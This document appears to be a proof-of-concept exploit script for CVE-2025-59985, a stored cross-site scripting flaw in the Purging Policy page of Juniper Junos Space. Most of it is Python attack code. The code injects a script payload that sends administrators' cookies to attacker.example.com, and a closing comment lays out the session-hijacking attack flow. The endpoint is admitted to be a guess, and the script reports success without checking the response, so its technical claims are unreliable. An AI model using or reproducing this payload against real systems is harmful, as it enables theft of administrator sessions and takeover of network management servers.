CVE-2025-59985 Juniper Junos Space 跨站脚本漏洞

# CVE-2025-59985 - Juniper Junos Space Stored XSS PoC # Vulnerability: Stored XSS in Purging Policy page # Target: Junos Space versions before 24.1R4 import requests TARGET_URL = "https://target-junos-space.example.com" # The Purging Policy page endpoint (adjust based on actual Junos Space API) PURGE_POLICY_ENDPOINT = f"{TARGET_URL}/api/space/purge-policy" # Malicious JavaScript payload to inject via the vulnerable input field # This payload will be stored and executed when an admin views the page XSS_PAYLOAD = { "policyName": "<script>fetch('https://attacker.example.com/steal?cookie='+document.cookie)</script>", "description": "Normal policy description", "retentionDays": 30 } def inject_xss(): """ Step 1: Inject malicious script into the Purging Policy page. No authentication required to submit the malicious input. """ print("[*] Injecting XSS payload into Purging Policy page...") # Note: In a real scenario, the attacker may need to navigate to the # Purging Policy page and submit the form with the malicious input. # The lack of input sanitization allows script tag injection. response = requests.post( PURGE_POLICY_ENDPOINT, json=XSS_PAYLOAD, verify=False ) print(f"[*] Injection response status: {response.status_code}") print("[+] XSS payload stored successfully!") print("[+] Waiting for admin to view the Purging Policy page...") print("[+] When admin visits, the script will execute in their browser context.") if __name__ == "__main__": inject_xss() # Attack Flow: # 1. Attacker accesses Junos Space Purging Policy page (no auth required) # 2. Attacker enters <script> tag in the policy name or description field # 3. Malicious script is stored on the server # 4. Admin logs in and navigates to Purging Policy page # 5. Browser renders the stored script, executing it in admin's session # 6. Attacker's script can steal cookies, perform actions as admin, etc.